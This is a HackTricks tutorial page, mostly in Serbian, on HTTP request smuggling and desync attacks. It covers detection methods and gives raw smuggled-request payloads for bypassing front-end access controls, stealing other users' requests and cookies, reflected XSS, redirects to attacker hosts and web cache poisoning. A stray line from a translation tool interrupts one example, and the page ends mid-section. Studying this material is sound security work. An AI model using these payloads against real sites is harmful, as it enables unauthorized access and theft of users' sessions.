HTTP Request Smuggling / HTTP Desync Attack
Reading time: 32 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je
Ova ranjivost se javlja kada desinhronizacija između front-end proxies i back-end servera dozvoli napadaču da pošalje HTTP request koji će biti interpretiran kao jedan request od strane front-end proxyja (load balance/reverse-proxy) i kao 2 requesta od strane back-end servera.
Ovo omogućava korisniku da izmeni sledeći request koji stigne do back-end servera nakon njegovog.
Teorija
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Realnost
Front-End (a load-balance / Reverse Proxy) obrađuje Content-Length ili Transfer-Encoding header, dok Back-end server obrađuje drugi, izazivajući desinhronizaciju između ta dva sistema.
Ovo može biti jako kritično jer će napadač moći da pošalje jedan request ka reverse proxyju koji će back-end server interpretirati kao 2 različita requesta. Opasnost ove tehnike leži u tome što će back-end server interpretirati injektovani 2. request kao da je došao od sledećeg klijenta, dok će stvarni request tog klijenta postati deo injektovanog requesta.
Posebnosti
Zapamtite da je u HTTP-u karakter novog reda sastavljen od 2 bajta:
- Content-Length: Ovaj header koristi decimalni broj da pokaže broj bajtova tela requesta. Očekuje se da telo prestane na poslednjem karakteru; novi red na kraju requesta nije potreban.
- Transfer-Encoding: Ovaj header u telu koristi heksadecimalni broj da označi broj bajtova narednog chunk-a. Chunk mora završiti novim redom, ali taj novi red nije uračunat u indikator dužine. Ovaj način transfera mora da se završi chunk-om veličine 0 praćenim sa 2 nova reda:
0
- Connection: Iz mog iskustva preporučuje se korišćenje
Connection: keep-alive
u prvom requestu pri request smuggling-u.
Visible - Hidden
Glavni problem sa http/1.1 je što svi requesti idu kroz isti TCP socket, pa ako se nađu razlike između dva sistema koji primaju requeste, moguće je poslati jedan request koji će konačni backend (ili čak međusistemi) tretirati kao 2 različita requesta (ili više).
This blog post predlaže nove načine da se detektuju desync napadi na sistem koji neće biti flagovan od strane WAF-ova. Za ovo predstavlja Visible vs Hidden ponašanja. Cilj u ovom slučaju je pokušati pronaći razlike u odgovoru koristeći tehnike koje bi mogle izazvati desync bez stvarnog eksploatisanja.
Na primer, slanje requesta sa normalnim Host headerom i sa " host" headerom — ako backend prigovori na ovaj request (možda zato što je vrednost " host" netačna), to može značiti da front-end nije uočio " host" header dok ga je konačni backend upotrebio, što snažno ukazuje na desync između front-end-a i back-end-a.
Ovo bi bio Hidden-Visible discrepancy.
Ako bi front-end uzeo u obzir " host" header ali back-end ne, to bi mogao biti Visible-Hidden slučaj.
Na primer, ovo je omogućilo otkrivanje desync-a između AWS ALB kao front-end-a i IIS-a kao back-end-a. To je zato što kada je poslat "Host: foo/bar", ALB je vratio 400, Server; awselb/2.0
, ali kada je poslat "Host : foo/bar", vratio je 400, Server: Microsoft-HTTPAPI/2.0
, što ukazuje da backend šalje odgovor. Ovo je Hidden-Visible (H-V) situacija.
Napomena: ovo nije ispravljeno u AWS-u, ali se može ublažiti postavljanjem routing.http.drop_invalid_header_fields.enabled
i routing.http.desync_mitigation_mode = strictest
.
Osnovni primeri
tip
Kada pokušavate da eksploatišete ovo sa Burp Suite onemogućite Update Content-Length
i Normalize HTTP/1 line endings
u repeater-u jer neki gadgeti zloupotrebljavaju nove redove, carriage return-e i malformisane content-length vrednosti.
HTTP request smuggling napadi se kreiraju slanjem dvosmislenih requestova koji iskorišćavaju razlike u načinu na koji front-end i back-end serveri interpretiraju Content-Length
(CL) i Transfer-Encoding
(TE) headere. Ovi napadi se mogu manifestovati u različitim oblicima, pre svega kao CL.TE, TE.CL, i TE.TE. Svaka vrsta predstavlja jedinstvenu kombinaciju prioriteta ovih headera između front-end i back-end servera. Ranjivosti nastaju kada serveri obrađuju isti request na različite načine, što vodi do neočekivanih i potencijalno malicioznih ishoda.
Osnovni primeri tipova ranjivosti
tip
U prethodnu tabelu treba dodati i TE.0 tehniku, slično CL.0, ali koristeći Transfer-Encoding.
CL.TE ranjivost (Content-Length koristi Front-End, Transfer-Encoding koristi Back-End)
-
Front-End (CL): Procesira request na osnovu
Content-Length
headera. -
Back-End (TE): Procesira request na osnovu
Transfer-Encoding
headera. -
Scenarij napada:
-
Napadač šalje request gde se vrednost
Content-Length
headera ne poklapa sa stvarnom dužinom sadržaja. -
Front-end server prosleđuje ceo request ka back-end-u na osnovu vrednosti
Content-Length
. -
Back-end server obrađuje request kao chunked zbog
Transfer-Encoding: chunked
headera, tumačeći preostale podatke kao zaseban, naredni request. -
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL ranjivost (Transfer-Encoding koristi Front-End, Content-Length koristi Back-End)
-
Front-End (TE): Procesira request na osnovu
Transfer-Encoding
headera. -
Back-End (CL): Procesira request na osnovu
Content-Length
headera. -
Scenarij napada:
-
Napadač šalje chunked request gde se veličina chunk-a (
7b
) i stvarna dužina sadržaja (Content-Length: 4
) ne poklapaju. -
Front-end server, poštujući
Transfer-Encoding
, prosleđuje ceo request ka back-end-u. -
Back-end server, poštujući
Content-Length
, obrađuje samo početni deo requesta (7b
bajtova), ostavljajući ostatak kao deo nenameravanog narednog requesta. -
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE ranjivost (Transfer-Encoding koristi oba, sa obfuskovanjem)
-
Serveri: Oboje podržavaju
Transfer-Encoding
, ali jedan može biti zavaravan da ga ignoriše putem obfuskovanja. -
Scenarij napada:
-
Napadač šalje request sa obfuskovanim
Transfer-Encoding
header-ima. -
U zavisnosti od toga koji server (front-end ili back-end) ne prepozna obfuskovanje, može se iskoristiti CL.TE ili TE.CL ranjivost.
-
Neobrađeni deo requesta, kako ga vidi jedan od servera, postaje deo narednog requesta, što dovodi do smuggling-a.
-
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL scenario (Content-Length koristi i Front-End i Back-End)
- Obe strane procesuiraju request isključivo na osnovu
Content-Length
headera. - Ovaj scenario obično ne vodi do smuggling-a, jer postoji usklađenost u načinu kako oba servera interpretiraju dužinu requesta.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 scenario
- Odnosi se na slučajeve gde je
Content-Length
header prisutan i ima vrednost različitu od nule, što ukazuje da telo requesta sadrži sadržaj. Back-end ignorišeContent-Length
header (koji se tretira kao 0), ali front-end ga parsira. - Ovo je ključno za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj requesta.
- Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 scenario
- Kao prethodni, ali koristeći TE.
- Technique reported here
- Primer:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL
Scenarij
U 0.CL
situaciji, zahtev se šalje sa Content-Length kao:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
Front-end ne uzima u obzir Content-Length
, pa šalje samo prvi request ka backendu (do 7 u primeru). Međutim, backend vidi Content-Length
i čeka body koji nikada ne stigne jer front-end već čeka response.
Međutim, ako postoji request koji je moguće poslati backendu i na koji se odgovori pre nego što stigne body, ovaj deadlock se neće desiti. U IIS, na primer, to se dešava slanjem requestova ka zabranjenim imenima kao što je /con
(check the documentation), tako da početni request bude odmah odgovoren, a drugi request će sadržati request žrtve kao:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Ovo je korisno za izazivanje desync-a, ali do sada to nije imalo uticaja.
Međutim, post nudi rešenje za ovo pretvaranjem 0.CL attack into a CL.0 with a double desync.
Rušenje web servera
Ova tehnika je takođe korisna u scenarijima gde je moguće slomiti web server dok se čitaju početni HTTP podaci, ali bez zatvaranja konekcije. Na taj način, telo HTTP zahteva će biti smatrano sledećim HTTP zahtevom.
Na primer, kao što je objašnjeno u this writeup, u Werkzeug-u je bilo moguće poslati neke Unicode karaktere i to će naterati server da se sruši. Međutim, ako je HTTP konekcija kreirana sa headerom Connection: keep-alive
, telo zahteva neće biti pročitano i konekcija će ostati otvorena, tako da će telo zahteva biti tretirano kao sledeći HTTP zahtev.
Primoravanje putem hop-by-hop hedera
Zloupotrebom hop-by-hop hedera možete naterati proxy da obriše header Content-Length ili Transfer-Encoding, čime se omogućava da se HTTP request smuggling zloupotrebi.
Connection: Content-Length
Za više informacija o hop-by-hop headers posetite:
Finding HTTP Request Smuggling
Identifikacija ranjivosti HTTP request smuggling-a često se može postići korišćenjem tehnika vremenskog merenja, koje se oslanjaju na posmatranje koliko serveru treba da odgovori na manipulisan zahtev. Ove tehnike su posebno korisne za detekciju CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje ovakvih ranjivosti:
Pronalaženje CL.TE ranjivosti korišćenjem tehnika vremenskog merenja
-
Metod:
-
Pošaljite zahtev koji, ako je aplikacija ranjiva, natera back-end server da čeka dodatne podatke.
-
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Posmatranje:
-
Front-end server obrađuje zahtev na osnovu
Content-Length
i preseče poruku pre vremena. -
Back-end server, očekujući chunked poruku, čeka sledeći chunk koji nikada ne stigne, što izaziva kašnjenje.
-
Indikatori:
-
Timeout-ovi ili dugačka kašnjenja u odgovoru.
-
Prijem 400 Bad Request greške od back-end servera, ponekad sa detaljnijim informacijama o serveru.
Pronalaženje TE.CL ranjivosti korišćenjem tehnika vremenskog merenja
-
Metod:
-
Pošaljite zahtev koji, ako je aplikacija ranjiva, natera back-end server da čeka dodatne podatke.
-
Primer:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Posmatranje:
- Front-end server obrađuje zahtev na osnovu
Transfer-Encoding
i prosleđuje celu poruku. - Back-end server, očekujući poruku na osnovu
Content-Length
, čeka dodatne podatke koji nikada ne stignu, što izaziva kašnjenje.
Druge metode za pronalaženje ranjivosti
- Analiza diferencijalnih odgovora:
- Pošaljite blago izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na neusaglašenost u parsiranju.
- Korišćenje automatizovanih alata:
- Alati poput Burp Suite-ovog 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika dvosmislenih zahteva i analizom odgovora.
- Testovi varijacije Content-Length:
- Pošaljite zahteve sa različitim
Content-Length
vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server postupa sa takvim neusaglašenostima. - Testovi varijacije Transfer-Encoding:
- Pošaljite zahteve sa zamaskiranim ili neispravnim
Transfer-Encoding
header-ima i pratite kako se front-end i back-end serveri različito ponašaju na takve manipulacije.
The Expect: 100-continue
header
Proverite kako ovaj header može pomoći pri eksploatisanju http desync-a u:
HTTP Request Smuggling Vulnerability Testing
Nakon potvrde efikasnosti tehnika vremenskog merenja, ključno je verifikovati da li klijentski zahtevi zaista mogu biti manipulisani. Jednostavan metod je pokušaj "poison"-ovanja (zatrovanja) vaših zahteva — na primer, naterajte zahtev ka /
da proizvede 404 odgovor. Primeri CL.TE
i TE.CL
iz Basic Examples ranije pokazuju kako zatrovati klijentov zahtev da izazove 404 odgovor, uprkos tome što klijent pokušava da pristupi drugom resursu.
Ključna razmatranja
Pri testiranju za request smuggling ranjivosti mešanjem sa drugim zahtevima, imajte u vidu:
- Različite mrežne konekcije: "attack" i "normal" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje postojanje ranjivosti.
- Konzistentan URL i parametri: Težite da koristite identične URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često rutiraju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Podudaranje ovih podataka povećava verovatnoću da će oba zahteva obraditi isti server, što je preduslov za uspešan napad.
- Vremenski uslovi i trkanje (racing): "Normal" zahtev, koji treba da detektuje interferenciju od "attack" zahteva, takmiči se sa drugim istovremenim zahtevima aplikacije. Zato pošaljite "normal" zahtev odmah nakon "attack" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
- Izazovi balansiranja opterećenja: Front-end serveri koji rade kao balanseri opterećenja mogu raspoređivati zahteve na različite back-end sisteme. Ako "attack" i "normal" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati više pokušaja da biste potvrdili ranjivost.
- Neželjeni uticaj na korisnike: Ako vaš napad nenamerno utiče na zahtev nekog drugog korisnika (ne na "normal" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, pa postupajte oprezno.
Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
Poništavanje konekcije (keep-alive) i pipelining lako mogu proizvesti iluzije "smuggling"-a u alatima za testiranje koji šalju više zahteva na istom socket-u. Naučite da odvojite bezopasne artefakte sa klijentske strane od stvarne desinhronizacije na strani servera.
Why pipelining creates classic false positives
HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na istom toku. U pipelining-u, klijent šalje više zahteva jedan za drugim i oslanja se na odgovore u istom redu. Uobičajen false-positive je ponovo slanje malformiranog CL.0-stila payload-a dva puta na jednoj konekciji:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Ne vidim sadržaj fajla. Pošaljite tekst iz src/pentesting-web/http-request-smuggling/README.md i prevešću ga na srpski, zadržavajući sve markdown/html tagove i linkove.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Ako server ignoriše neispravan Content_Length
, nema FE↔BE desync. Sa reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna zahteva:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Uticaj: nijedan. Samo ste desinhronizovali klijenta u odnosu na framing servera.
tip
Burp moduli koji zavise od reuse/pipelining: Turbo Intruder sa requestsPerConnection>1
, Intruder sa "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" ili "Enable connection reuse".
Litmus testovi: pipelining ili realni desync?
- Disable reuse and re-test
- U Burp Intruder/Repeater, isključite HTTP/1 reuse i izbegavajte "Send group in sequence".
- U Turbo Intruder, postavite
requestsPerConnection=1
ipipeline=False
. - Ako se ponašanje ukloni, verovatno je u pitanju client-side pipelining, osim ako ne radite sa connection-locked/stateful targetima ili client-side desync.
- HTTP/2 nested-response check
- Pošaljite HTTP/2 request. Ako telo odgovora sadrži kompletan ugnježdeni HTTP/1 response, dokazali ste backend parsing/desync bug umesto čistog client artefakta.
- Partial-requests probe for connection-locked front-ends
- Neki FEs ponovo koriste upstream BE konekciju samo ako je klijent ponovo koristio svoju. Koristite partial-requests da detektujete FE ponašanje koje reflektuje reuse klijenta.
- Pogledajte PortSwigger "Browser‑Powered Desync Attacks" za connection-locked tehniku.
- State probes
- Tražite razlike između prvog i narednih zahteva na istoj TCP konekciji (first-request routing/validation).
- Burp "HTTP Request Smuggler" uključuje connection‑state probe koja automatizuje ovo.
- Visualize the wire
- Koristite Burp "HTTP Hacker" ekstenziju da direktno pregledate konkatenaciju i framing poruka dok eksperimentišete sa reuse i partial requests.
Connection‑locked request smuggling (reuse-required)
Neki front-endovi ponovo koriste upstream konekciju samo kada klijent ponovo koristi svoju. Stvarni smuggling postoji, ali je uslovljen client-side reuse-om. Da biste razlikovali i dokazali uticaj:
- Prove the server-side bug
- Koristite HTTP/2 nested-response check, ili
- Koristite partial-requests da pokažete da FE ponovo koristi upstream samo kada to client radi.
- Pokažite stvarni uticaj čak i ako je direktna cross-user socket zloupotreba blokirana:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2
, or Burp Repeater tab group → "Send group in sequence (single connection)"). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
Ako ciljate browser-powered/client-side desync, maliciozni zahtev mora biti poslativ od strane browsera cross-origin. Header obfuscation trikovi neće raditi. Fokusirajte se na primitive dostupne preko navigation/fetch, pa zatim pivotirajte na cache poisoning, header disclosure, ili front-end control bypass gde downstream komponente reflektuju ili keširaju odgovore.
Za pozadinu i end-to-end workflow-e:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): prikazuje nisko-nivo HTTP ponašanje i socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precizna kontrola nad connection reuse-om putem
requestsPerConnection
. - Burp HTTP Request Smuggler: uključuje connection‑state probe za otkrivanje first‑request routing/validation.
note
Smatrajte efekte koji zavise samo od reuse-a nebitnim osim ako ne možete dokazati server-side desync i priložiti konkretan uticaj (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, itd.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Ponekad front-end proxyji primenjuju sigurnosne mere, brižljivo proveravajući dolazeće zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, omogućavajući neovlašćeni pristup ograničenim endpoint-ima. Na primer, pristup /admin
može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, taj proxy može zanemriti inspekciju ugrađenih zahteva unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end sigurnosnih kontrola, posebno ciljajući putanju /admin
koja je obično zaštićena front-end proxyjem:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
U CL.TE napadu, zaglavlje Content-Length
se koristi za inicijalni zahtev, dok naknadni ugrađeni zahtev koristi zaglavlje Transfer-Encoding: chunked
.
Front-end proxy obrađuje inicijalni POST
zahtev, ali ne uspeva da ispita ugrađeni GET /admin
zahtev, što omogućava neovlašćen pristup putanji /admin
.
TE.CL Primer
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Suprotno tome, u TE.CL attacku, početni POST
zahtev koristi Transfer-Encoding: chunked
, a naknadni ugrađeni zahtev se obrađuje na osnovu Content-Length
headera. Slično CL.TE attacku, front-end proxy previdi smuggled GET /admin
request, nenamerno omogućavajući pristup ograničenom /admin
path-u.
Otkrivanje prepisivanja zahteva na front-endu
Aplikacije često koriste front-end server da modifikuju dolazne zahteve pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje headera, kao što je X-Forwarded-For: <IP of the client>
, kako bi se IP klijenta prosledio back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine za bypass protections ili uncover concealed information or endpoints.
Da biste ispitali kako proxy menja zahtev, pronađite POST parameter koji back-end vraća u odgovoru. Zatim sastavite zahtev, koristeći taj parameter poslednjim, slično sledećem:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
U ovoj strukturi, naknadne komponente zahteva se dodaju posle search=
, koji je parametar reflektovan u odgovoru. Ovo reflektovanje će otkriti zaglavlja narednog zahteva.
Važno je uskladiti zaglavlje Content-Length
ugnježdenog zahteva sa stvarnom dužinom sadržaja. Preporučljivo je početi sa malom vrednošću i postepeno je povećavati, jer će premala vrednost skratiti reflektovane podatke, dok prevelika vrednost može prouzrokovati grešku zahteva.
Ova tehnika je takođe primenljiva u kontekstu TE.CL ranjivosti, ali zahtev bi trebalo da se završi sa search=\r\n0
. Bez obzira na karaktere za novi red, vrednosti će se dodati parametru search.
Ovaj metod prvenstveno služi za razumevanje izmena zahteva koje pravi front-end proxy, praktično obavljajući samostalnu istragu.
Presretanje zahteva drugih korisnika
Moguće je presresti zahteve narednog korisnika tako što se tokom POST operacije doda specifičan zahtev kao vrednost parametra. Evo kako se to može izvesti:
Dodanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev narednog klijenta:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
U ovom scenariju, comment parameter je namenjen za čuvanje sadržaja u sekciji komentara objave na javno dostupnoj stranici. Posledično, sadržaj narednog zahteva će se pojaviti kao komentar.
Međutim, ova tehnika ima ograničenja. Generalno, ona hvata podatke samo do delimitera parametra koji se koristi u smuggled zahtevu. Za URL-encoded form submissions, taj delimiter je karakter &
. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom &
, koji čak može biti deo query stringa.
Takođe, vredi napomenuti da je ovaj pristup moguć i kod TE.CL ranjivosti. U takvim slučajevima, zahtev treba da se završi sa search=\r\n0
. Bez obzira na newline karaktere, vrednosti će biti dodate parametru search.
Korišćenje HTTP Request Smuggling za iskorišćavanje Reflected XSS
HTTP Request Smuggling može se iskoristiti za napad na veb-stranice ranjive na Reflected XSS, nudeći značajne prednosti:
- Interakcija sa ciljnim korisnicima nije potrebna.
- Dozvoljava iskorišćavanje XSS-a u delovima zahteva koji su obično nedostupni, kao što su HTTP request headers.
U scenarijima gde je veb-sajt podložan Reflected XSS preko User-Agent zaglavlja, sledeći payload pokazuje kako iskoristiti ovu ranjivost:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:
- Pokretanje
POST
request-a, naizgled tipičnog, saTransfer-Encoding: chunked
header-om koji označava početak smuggling. - Sledeće dolazi
0
, što označava kraj chunked tela poruke. - Zatim se uvodi smuggled
GET
request, gde jeUser-Agent
header ubrizgan skriptom<script>alert(1)</script>
, što pokreće XSS kada server obradi ovaj naredni request.
Manipulišući User-Agent
kroz smuggling, payload zaobilazi normalna ograničenja zahteva i na taj način, na nestandardan ali efektan način, iskorišćava Reflected XSS ranjivost.
HTTP/0.9
caution
U slučaju da se korisnički sadržaj reflektuje u odgovoru sa Content-type
kao što je text/plain
, to sprečava izvršavanje XSS. Ako server podržava HTTP/0.9 možda je moguće zaobići ovo!
Verzija HTTP/0.9 je prethodila 1.0 i koristi samo GET verbs i doesn’t odgovara sa headers, već samo telo.
U this writeup, ovo je zloupotrebljeno pomoću request smuggling i vulnerable endpoint that will reply with the input of the user da bi se smugglao request sa HTTP/0.9. Parametar koji će biti reflektovan u odgovoru sadržao je fake HTTP/1.1 response (with headers and body), tako da odgovor sadrži validan izvršni JS kod sa Content-Type
text/html
.
Eksploatisanje on-site redirect-ova pomoću HTTP Request Smuggling
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz Host
header-a u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez završnog kosa crte rezultira preusmerenjem koje dodaje kosu crtu:
GET /home HTTP/1.1
Host: normal-website.com
Rezultira u:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling da preusmeri korisnike na eksterni sajt. Na пример:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Ovaj smuggled request može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na attacker-controlled website:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Dovodi do:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
U ovom scenariju, zahtev korisnika za JavaScript fajlom se otima. Napadač može kompromitovati korisnika tako što će u odgovoru poslati maliciozni JavaScript.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning može biti izveden ako bilo koja komponenta front-end infrastrukture kešira sadržaj, obično radi poboljšanja performansi. Manipulacijom odgovora servera, moguće je poison the cache.
Ranije smo videli kako se odgovori servera mogu izmeniti da vrate 404 grešku (pogledajte Basic Examples). Na sličan način moguće je prevariti server da u odgovoru za zahtev za /static/include.js
isporuči sadržaj /index.html
. Kao posledica, sadržaj /static/include.js
se u kešu zamenjuje sadržajem /index.html
, čineći /static/include.js
nedostupnim korisnicima, što potencijalno vodi do Denial of Service (DoS).
Tehnika postaje posebno potentna ako se otkrije Open Redirect vulnerability ili ako postoji on-site redirect to an open redirect. Takve ranjivosti se mogu iskoristiti da se keširani sadržaj /static/include.js
zameni skriptom pod kontrolom napadača, što u suštini omogućava rašireni Cross-Site Scripting (XSS) napad na sve klijente koji zahtevaju ažurirani /static/include.js
.
U nastavku je ilustracija iskorišćavanja cache poisoning combined with an on-site redirect to open redirect. Cilj je promeniti keširani sadržaj /static/include.js
tako da servira JavaScript kod pod kontrolom napadača:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3
. This request will be redirected to /post?postId=4
, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js
should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js
will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
Using HTTP request smuggling to perform web cache deception
Koja je razlika između web cache poisoning i web cache deception?
- Kod web cache poisoning, napadač natera aplikaciju da sačuva neki maliciozni sadržaj u kešu, i taj sadržaj se posluži iz keša drugim korisnicima aplikacije.
- Kod web cache deception, napadač natera aplikaciju da sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzme taj sadržaj iz keša.
Napadač kreira smuggled request koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:
